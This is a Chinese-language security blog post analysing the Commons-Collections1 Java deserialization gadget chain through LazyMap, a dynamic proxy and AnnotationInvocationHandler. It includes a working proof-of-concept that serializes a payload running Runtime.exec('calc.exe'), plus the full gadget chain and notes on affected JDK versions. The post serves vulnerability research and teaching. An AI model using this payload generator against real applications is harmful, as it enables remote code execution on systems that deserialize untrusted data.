Java安全之Commons-Collections1分析(三)
2022-04-25 09:52:41 # Java安全

cc链的另一种构造方式

接着上篇的分析,上文中讲到LazyMap通过get()方法可以达到利用链触发命令执行

image-20220425100216545

根据get()方法克制,根据传入的key进行判断,如果map中不包含此key,就会通过factory调用transform()方法,这里的factory是可以通过构造方法进行赋值的,那么这里可以将factory的值赋值为ChainedTransformers,就可以触发后面的调用链完成命令执行。但可以看到LazyMap的构造方法是被protected关键词修饰的,是无法直接进行new创建的,

image-20220425100840057

查找其他函数时,发现decorate()方法可以完成factory的赋值。这也是为什么在前面的POC里面我们调用该方法并传入innerMaptransformerChain参数。

image-20220425101040219

这里传入的innerMap为为一个Map集合,transformerChain为一个被ChainedTransformer修饰过的Transformer[]数组

1
Map tmpmap = LazyMap.decorate(innerMap, transformerChain);

调试分析,首先进入decorate()方法,完成factory的赋值

image-20220425101914180

下一步进入get()方法,调用transform()方法,后续就是循环调用Transformer#transform方法

image-20220425102026291

上面是我们测试的POC的调用过程,但在实际利用中,如何让它调用到我们的get()方法呢,在上篇中AnnotationInvocationHandlerinvoke()方法会调用get()方法

image-20220425180002813

根据构造方法传入第⼀个参数是⼀个Annotation类类型参数,该类是注解类,第二个是map类型参数,这个参数可以传LazyMap类型的对象去调用get()方法,get()方法调用transform(),

image-20220425180049496

怎么去调用AnnotationInvocationHandlerinvoke

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(handler);

}

看下这行代码

1
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

这里的handler是反射创建的一个 AnnotationInvocationHandler类。而AnnotationInvocationHandler中实现了InvocationHandler接口,可以直接作为调用处理器传入。在poc执行反序列化时,由于AnnotationInvocationHandler重写了readObject()方法,并且readObject()方法会调用memberValues.entrySet().iterator(),这里的memberValues即为被代理类LazyMap,通过构造方法传入并赋值

image-20220426000617958

在下面代理对象是proxyMap,当调用proxyMapentrySet()会触发到AnnotationInvocationHandlerinvoke()方法进行执行。这也是动态代理的一个特性,代理对象调用任意方法,调用处理器中的invoke()方法都会执行一次。

1
2
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

所以接下来就会执行AnnotationInvocationHandlerinvoke()方法,接着调用LazyMap#get()触发后面的利用链

image-20220426003829666

进入get()方法,如下,后面就和之前的利用过程一致了

image-20220426003853411

完整的利用链如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

总结

CC1这条链里面是有版本限制的,在高版本中对readObject()方法进行了修改,经过测试jdk < 8u71,可以利用成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
jdk1.7.0_21 【成功】
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
return;
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

}

jdk1.8.0_171 【失败】
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;

try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();

String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}

AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}

参考

https://www.cnblogs.com/nice0e3/p/13798371.html